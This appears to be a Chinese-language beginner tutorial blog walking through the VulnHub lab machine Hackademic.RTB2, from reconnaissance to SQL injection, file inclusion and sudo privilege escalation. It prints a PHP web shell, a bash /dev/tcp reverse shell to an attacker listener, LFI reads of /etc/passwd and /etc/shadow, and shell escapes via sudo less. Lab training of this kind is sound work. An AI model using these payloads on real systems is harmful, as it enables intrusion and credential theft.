如果你正打算入门Web渗透测试,我强烈建议你先别急着啃那些厚得像砖头的漏洞利用手册。找一台真正能动手的靶机,把信息收集、漏洞发现、漏洞利用、权限提升这条链路亲手跑一遍,比看十遍视频都管用。Hackademic.RTB2就是我在VulnHub上反复推荐给新人的一台实战靶机,它难度适中,漏洞点全部集中在Web层面,不会有复杂的逆向或密码学内容,却能把渗透测试的核心流程练得明明白白。
这篇文章我会用一次完整的复现过程,把每一步怎么想、怎么测、怎么打、怎么提权,原原本本摊开来讲。适合已经会装Kali、能敲几条基础Linux命令、但还没完整打过一次靶场的初学者,也适合平时很少接触Web漏洞、想找回实战感觉的运维或开发朋友。整个实验过程中,你会用到SQL注入、文件包含、命令执行、反弹Shell、权限提升这些高频技术点,这些都是日常渗透测试里出现频率极高的能力项。
1. 为什么选Hackademic.RTB2当第一台实战靶场
1.1 靶场定位与核心价值
Hackademic.RTB2出自VulnHub的RTB系列,整台靶机是一台模拟的Linux服务器,上面跑着Web服务,攻击者的目标很明确:从普通的网页访客一路打到系统最高权限。它不像CTF题目那样只给你一个孤立漏洞让你打进去就完事,而是模拟了真实渗透测试里最常见的场景——一个存在多个脆弱点的Web应用部署在一台内网服务器上,你需要通过这些脆弱点逐步扩大战果。
我第一次打这个靶场的时候,最大的感受就是“真实”。普通的靶场教程往往是直接告诉你哪个页面存在什么漏洞,然后照着payload打进去就结束了,但RTB2不是这样。你需要自己从IP扫描开始,自己分辨哪些端口是真正有用的,自己从一堆页面里找到那个藏得很深的注入点。整个过程中,你的每一步选择都会影响后面能不能打下去,这恰恰是真实项目里最锻炼人的地方。
1.2 核心技能覆盖清单
把这台靶机完整打一遍,你至少能练到以下技能点:
| 技能模块 | 具体内容 | 实战意义 |
|---|---|---|
| 主机发现 | netdiscover、arp-scan识别存活主机 | 项目开局第一步,定位目标机器 |
| 端口扫描 | Nmap全端口扫描与服务识别 | 判断攻击面,锁定Web服务 |
| 目录爆破 | 使用字典爆破Web目录 | 发现隐藏入口和管理后台 |
| SQL注入 | 手工判断注入点、绕过登录认证 | Web漏洞中占比极高的漏洞类型 |
| 文件包含 | 利用LFI/RFI读取文件、包含远程代码 | 从读取文件到命令执行的关键跳板 |
| 命令执行 | 通过Web入口获取系统Shell | 拿到第一个立足点的常见方式 |
| 权限提升 | 利用sudo配置或SUID提权 | 从普通用户到root的必经之路 |
这里每一项都是面试、项目实战中的高频考点,一台靶机全部覆盖,性价比极高。
1.3 和其他常见靶场的对比
不少新手问过我,DVWA、Pikachu、Hackademic.RTB2到底先玩哪个。我的建议是:DVWA和Pikachu适合练单个漏洞,但它们的靶场环境是给你摆好了漏洞让你去打,缺少“发现漏洞”的过程。而Hackademic.RTB2更像一台真实的服务器,漏洞不会主动告诉你位置,你需要自己去侦察、去判断、去尝试,这更接近真实渗透测试的工作状态。
换成吃饭来类比,DVWA和Pikachu像是一盘盘做好的菜端到你面前,你只需要拿起筷子吃;RTB2则是给你一块原始食材,告诉你“这能做出一道菜”,从洗菜、切菜到调味都得自己完成。新手如果一上来就在RTB2里卡住,我建议先去DVWA把SQL注入、文件包含这些原理补一补,再回来打RTB2,会顺畅很多。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备:下载镜像与虚拟机网络规划
2.1 镜像获取与完整性校验
Hackademic.RTB2的镜像可以在VulnHub官网通过搜索“Hackademic.RTB2”找到,下载下来的文件通常是一个压缩包,解压之后得到虚拟磁盘文件。我特别提醒一句:尽量从官方渠道下载,不要图方便随便找网盘转存版本,安全圈里被恶意篡改的虚拟机镜像并不是什么新鲜事,一旦里面的脚本是你没见过的,你甚至不知道靶机什么时候会反过来连你的攻击机。
下载完成后建议先校验一下文件哈希,VulnHub页面会提供MD5或SHA1值。Linux下直接一条命令搞定:
bash复制md5sum Hackademic.RTB2.tar.gz
sha1sum Hackademic.RTB2.tar.gz
把输出的哈希值和官网页面上的值对比一下,一致再继续。这个习惯在真实项目中同样适用,我们拿到任何外部工具和固件时,第一步永远是校验完整性,这是安全从业者的职业本能。
2.2 导入虚拟机与网络模式选择
我用的是VirtualBox,VMware同理。在VirtualBox里点击“新建虚拟机”,系统类型选择Linux/Ubuntu(64位),内存建议分配512MB到1GB就足够了,这台靶机本身很轻量,给太多资源反而是浪费。硬盘选择“使用已有的虚拟硬盘文件”,指向你解压出来的vmdk或vdi文件即可启动。
网络模式这里有个讲究。靶场有两类常见配置方式:
- NAT模式:靶机通过虚拟NAT上网,攻击机和靶机都能访问外网,但攻击机访问靶机需要端口转发,相对麻烦。
- 仅主机模式(Host-Only):攻击机Kali和靶机都连在同一个虚拟网卡上,形成一个完全隔离的内网环境,互相之间可以直接通信,又不会影响宿主机网络。
我强烈推荐用“仅主机模式”来做这类靶场实验。原因很简单:第一,隔离性好,靶机就算被种了恶意脚本也无法影响到外部网络;第二,IP地址固定可控,方便我们做扫描和识别。在VirtualBox里,全局设置-网络中预先创建一个仅主机虚拟网卡,比如vboxnet0,然后把靶机和Kali都挂到这个网卡上。
2.3 攻击机Kali的准备
攻击机就用Kali Linux,这是渗透测试的标配系统,自带Nmap、Burp Suite、dirb、sqlmap、nc等一整套工具,省去了到处找工具的麻烦。启动Kali之后,先确认能和靶机通信:
bash复制ip a
记下Kali在仅主机网卡上的IP地址,然后ping一下靶机的IP。这里有个新手常踩的坑:靶机启动后默认可能开DHCP,也可能用静态IP,如果扫描扫不到,不要急,下一章我会详细讲怎么发现目标。总之,攻击机和靶机只要能互相ping通,实验环境就算搭好了。
3. 信息收集阶段:先做被动,再做强主动
3.1 发现目标:从茫茫网段里找到靶机
信息收集是渗透测试的“侦察兵”阶段,也是很多人最容易忽略的阶段。看到靶机就急着打开浏览器访问,这是新手最常见的错误。正确做法是先把目标的攻击面摸清楚。
假设仅主机网段是192.168.56.0/24,我们先探测这个网段里有哪些存活主机。Kali下可以用netdiscover,它通过ARP协议扫描整个网段,速度快且准确:
bash复制sudo netdiscover -r 192.168.56.0/24
也可以使用arp-scan:
bash复制sudo arp-scan --interface eth0 192.168.56.0/24
扫描结果里会列出所有在线主机的MAC地址和IP地址。Kali自己会占一个IP,剩下的那个大概率就是靶机。如果靶机没有固定IP,通过DHCP获取地址,你会看到它出现在某个未被占用的IP上。这一步的关键在于:拿到目标IP后,先不要急着访问,把它记下来,作为后面所有操作的基础。
3.2 端口扫描与服务指纹识别
拿到目标IP后,接下来就是Nmap登场。端口扫描的目的是搞清楚目标机器上开了哪些服务,这些服务对应哪些端口,从而缩小攻击面。第一次扫描我会先做一个快速的全端口探测:
bash复制nmap -sS -p- --min-rate 5000 192.168.56.101
解释一下参数含义:
-sS:SYN半开扫描,速度快且不易被目标记录完整连接日志。-p-:扫描1到65535所有端口。--min-rate 5000:控制发包速率,提高扫描速度。
全端口扫描跑完后,大概率能看到80端口是开放的,可能还有22端口(SSH)。这说明靶机的核心攻击面就是Web服务。接下来对开放的端口做服务和版本识别:
bash复制nmap -sV -sC -p 80,22 192.168.56.101
-sV探测服务版本,-sC运行默认的NSE脚本,顺便检查是否存在一些基础安全配置问题。这一步能告诉我们Web服务是Apache还是Nginx、版本号是多少、有没有开放敏感路径等信息,为后续Web渗透做准备。
3.3 Web技术栈识别与目录爆破
访问http://192.168.56.101,你会看到靶机的默认站点页面。这时候先别急着点来点去,用浏览器开发者工具或whatweb命令行工具看看站点指纹:
bash复制whatweb http://192.168.56.101
输出结果会显示Web服务类型、框架信息、可能存在的CMS等。如果是WordPress类站点,后面我们就会往WordPress漏洞利用的方向思考;如果是自定义站点,就要更仔细地看页面源码和目录结构。
接下来是目录爆破,这一步往往能发现管理员后台、备份文件、隐藏的脚本入口等关键资源。我习惯用gobuster,也可以使用dirb:
bash复制gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak
这里指定了-x参数,让爆破工具顺便探测常见的.php、.txt、.bak后缀文件。爆破结果需要人工筛选,有一些目录可能是默认生成的,有些则可能是真正的管理入口。把这些目录和文件记录下来,接下来Web渗透就从这些地方展开。
4. Web渗透实战:从SQL注入到控制服务器
4.1 SQL注入:从报错到绕过登录认证
打开靶机的Web页面,仔细翻看各个链接和参数。你会发现某些页面在URL里带着类似?id=1这样的参数,这就是最经典的SQL注入候选点。
试着在参数后面加一个单引号,比如http://192.168.56.101/article.php?id=1',页面如果返回数据库报错信息,就说明参数被拼进了SQL语句,注入点找到了。接下来可以用手工方式判断字段数量:
bash复制http://192.168.56.101/article.php?id=1 order by 5
http://192.168.56.101/article.php?id=1 order by 6
当字段数超出实际列数时报错,由此确定SELECT语句查询的列数。然后再用union select把数据提取出来:
sql复制http://192.168.56.101/article.php?id=-1 union select 1,2,3,4,5
页面上显示的2、3、4等数字位置就是可回显的字段,把对应位置改成database()或者user(),就能拿到数据库名和当前连接的用户名。整个SQL注入验证过程结束后,我对这类漏洞的判断会更谨慎——不是所有id=1都能打,但凡是能打通的,几乎都意味着后台数据甚至服务器权限都已经向我敞开了大门。
4.2 文件包含漏洞:寻找Webshell的跳板
在测试过程中,我注意到靶机上存在文件包含漏洞。文件包含漏洞的本质是:开发者为了代码复用,会把多个页面的公共代码抽到一个单独文件里,然后通过一个参数动态加载。如果这个参数可以直接控制,攻击者就能读取服务器上的任意文件(本地文件包含LFI),甚至让服务器加载远程恶意文件(远程文件包含RFI)。
本地文件包含的典型测试方法:
text复制http://192.168.56.101/index.php?page=../../../../etc/passwd
如果页面上能显示出/etc/passwd的内容,就说明读取文件的路径没有被过滤,我们成功实现了任意文件读取。此时可以进一步读取/etc/shadow、Web配置文件的数据库账号密码等敏感信息。
远程文件包含则更有威胁性。在攻击机上准备一个包含PHP代码的恶意文件,比如shell.txt,内容是一句话木马或命令执行代码:
php复制<?php system($_GET['cmd']); ?>
然后让靶机去加载这个远程文件:
text复制http://192.168.56.101/index.php?page=http://攻击机IP/shell.txt
这一步成功之后,Web应用就完全受我们控制了——在URL后面加上&cmd=id可以执行任意系统命令,&cmd=ls -la查看目录结构,甚至可以反弹一个完整的Shell回来。到这里,整台服务器的“门”已经打开了。
4.3 反弹Shell与交互稳定性
手动在URL里执行命令虽然能用,但非常别扭,每次只能执行一条,遇到需要交互的程序根本无法操作。所以我一般会第一时间反弹一个交互式Shell到攻击机。
反弹Shell的原理很简单:让靶机主动连接攻击机的某个端口,把标准输入输出都重定向到这条连接上。攻击机先开启监听:
bash复制nc -lvnp 4444
然后在Web命令执行入口上构造出反向连接命令。这里有个坑:system()函数执行的是sh -c内的命令,但靶机上的bash、nc版本和安全配置都不同,常见的反弹命令在靶机上一跑就失效了。我最常用的通用方案是:
bash复制bash -i >& /dev/tcp/攻击机IP/4444 0>&1
用URL编码方式放进cmd参数里执行:
text复制http://192.168.56.101/index.php?page=http://攻击机IP/shell.txt&cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.1%2F4444%200%3E%261
执行成功后,攻击机的监听窗口会出现一个www-data@靶机这样的Shell。虽然不美观,但已经是足以让我们继续横向或纵向推进的立足点。如果这个Shell不稳定,可以再用Python的方式升级一下,获得一个带完整TTY的交互式Shell:
bash复制python3 -c 'import pty; pty.spawn("/bin/bash")'
4.4 实战中常见的利用失败原因
Web渗透阶段最容易出问题的几个地方,我单独拿出来说一下。
第一个是SQL注入的payload被编码或过滤。靶机可能在代码里写了addslashes或者正则过滤,把单引号、空格等特殊字符处理掉了。此时不要生搬硬套sqlmap,可以手工观察过滤规则,尝试注释符--+、#,或者用内联注释/*!*/绕过。
第二个是文件包含需要满足特定条件。有些版本的PHP会限制远程文件包含,allow_url_include默认是Off,这时候远程包含就会失败。如果遇到这种情况,优先尝试本地文件包含,再配合日志注入或文件上传功能制造一个Webshell文件,同样能达到命令执行的目的。
第三个是反弹Shell连不上。排查思路很固定:先确认攻击机防火墙有没有放行对应端口,再确认监听命令确实在运行,最后在靶机侧用curl或wget连接攻击机的HTTP服务测试网络连通性。很多时候只是IP写错了,或者攻击机和靶机不在同一网段,这类基础问题最容易让人抓狂。
5. 权限提升:从www-data到root的最后一公里
5.1 枚举系统信息,寻找提权线索
拿到www-data权限后,渗透测试还远没结束。Web服务的运行用户通常权限很低,既不能写系统目录,也读不了/etc/shadow,真正的目标是获得root权限。权限提升前最重要的事,就是把你所在的系统摸清楚。
依次执行以下命令,把关键信息记录下来:
bash复制id
uname -a
cat /etc/issue
sudo -l
find / -perm -4000 -type f 2>/dev/null
ls -la /home
cat /etc/crontab
这些命令分别检查当前用户权限、内核版本、操作系统发行版、当前用户是否能免密执行sudo、系统中有哪些SUID文件、有哪些用户目录、是否存在计划任务。任何一个点都可能成为提权的突破口。这就像你在一个陌生的办公楼里拿到了一张一楼的门禁卡,接下来要做的不是到处硬撞门,而是先搞明白每扇门背后有什么、哪扇门的管理员比较粗心。
5.2 利用sudo配置错误提权
在靶机上执行sudo -l之后,如果输出内容显示当前用户可以以root身份执行某个特定命令,比如less、vim或find,恭喜你,提权路径就在眼前。
以sudo less为例,less是一个可交互的分页查看器,它内部提供了执行Shell的机制。当你用sudo less /etc/shadow打开文件后,在less界面里输入!bash,就能直接进入一个root权限的Shell。同理,sudo vim打开文件后输入:!bash,sudo find配合-exec参数也一样能执行命令。
如果靶机没有直接的sudo权限,也可以检查SUID文件。SUID权限的标志是文件权限位上有s,比如-rwsr-xr-x。找到可疑的SUID文件后,可以前往GTFOBins网站查询该程序是否提供了提权利用方法。需要特别强调的是,这类提权方法只适用于靶场实验环境,在真实系统中练习或复现需要取得书面授权,这是职业底线。
5.3 提权成功后的系统加固思考
拿到root权限后,这个靶场就算通关了。但我通常不会立刻关掉虚拟机,而是会做一次复盘:这台靶机为什么会一步步沦陷?如果我是管理员,应该怎么修复这些漏洞?
从修复角度回看整个攻击链,靶机的问题非常典型:
- Web应用对用户输入缺乏过滤,导致SQL注入和文件包含漏洞;
- 后台文件和重要目录缺少访问控制,管理入口暴露在公网;
- 数据库和Web服务共用同一个低强度安全策略,一旦Web被突破,整个系统门户大开;
- 系统服务运行权限过高,sudo和SUID配置没有遵循最小权限原则。
把这些问题一一记下来,对照OWASP Top 10和CIS基准重新加固一遍,才是打完靶场的最终收获。我们要成为的是能防御的安全建设者,而不是只会跑工具的脚本小子。
6. 常见问题排查与避坑指南
6.1 靶机无法启动或启动报错
这个问题十有八九是虚拟机配置不兼容导致的。RTB2的镜像比较老,里面可能使用了旧版Linux内核,在较新版本的VirtualBox里启动时可能出现黑屏或卡死。解决办法是尝试关闭硬件加速中的嵌套分页,或者改用VMware导入;如果仍然失败,可以试试把虚拟机配置里的芯片组从ICH9改为PIIX3,这能兼容很多老镜像。
还有一种情况是启动后一直停留在GRUB引导界面,不要慌,在GRUB菜单里选择“Advanced options for Ubuntu”,进入内核列表,换一个老版本内核启动通常就能解决。
6.2 攻击机扫描不到靶机IP
先确认两台虚拟机是否挂了同一个虚拟网卡,这里特别容易出问题:Kali挂在了NAT网卡,靶机挂在了仅主机网卡,虽然都在同一台宿主机上,但它们压根不在一个网络里,互相看不见。打开两台虚拟机的网络设置对比一下,确保网卡名称相同。
如果网络配置没问题还是扫不到,再考虑靶机开机是否完整。RTB2启动比较慢,可能需要一两分钟,网络服务才会起来。Windows下可以多等一会儿,再重新netdiscover,基本都能找到。
6.3 漏洞利用时页面没有任何回显
利用SQL注入或文件包含时,如果页面没有任何变化,先不要怀疑漏洞不存在,可能只是你的回显位置不对。对于union select,你需要先让原始查询返回空结果,通常是把id=1改成id=-1,这样后面的联合查询结果才会显示出来。对于文件包含,读取的文件如果是二进制或在浏览器中被当作图片解析,也会出现白屏,可以试试用php://filter/convert.base64-encode/resource=index.php的方式读取源码,再把Base64字符串解码。
6.4 提权失败时应该怎么继续
如果你发现sudo -l显示无法执行任何命令,SUID文件中也找不到有价值的提权点,不要马上放弃。回去翻翻Web应用根目录,看看有没有数据库配置文件,拿到数据库账号密码后登录MySQL,往往能在数据库里找到管理员密码的哈希值。再结合系统用户名和已知的密码复用习惯,尝试SSH登录普通用户,然后重复枚举——很多靶场的最终提权路径都不是一条直线,而是绕了一圈才通向root。
我个人在实际操作中的体会是,渗透测试最核心的能力不是背payload,而是学会在不同阶段做正确的信息收集和判断。Hackademic.RTB2这台靶机最大的价值,就是它逼着你从零开始走完整个流程,中途几乎没有“答案”可看,全靠自己对每个漏洞点的敏感度和排查能力。如果你能在不看任何攻略的情况下独立打穿这台机器,那么再碰到真实Web项目的渗透测试,你就已经有了一个非常扎实的起点。
最后再分享一个小心得:每打完一台靶机,花半小时把攻击路径画成一张脑图,记录清楚每一步的命令、参数和报错信息。这比连续打十台靶机不做总结要有效得多。等你积累了几台不同风格的靶场记录,再回头看第一台RTB2,你会明显感觉到自己从“跟着教程抄命令”进步到了“知道每一步为什么这样做”。这就是从新手走向独立渗透测试工程师的关键一步。
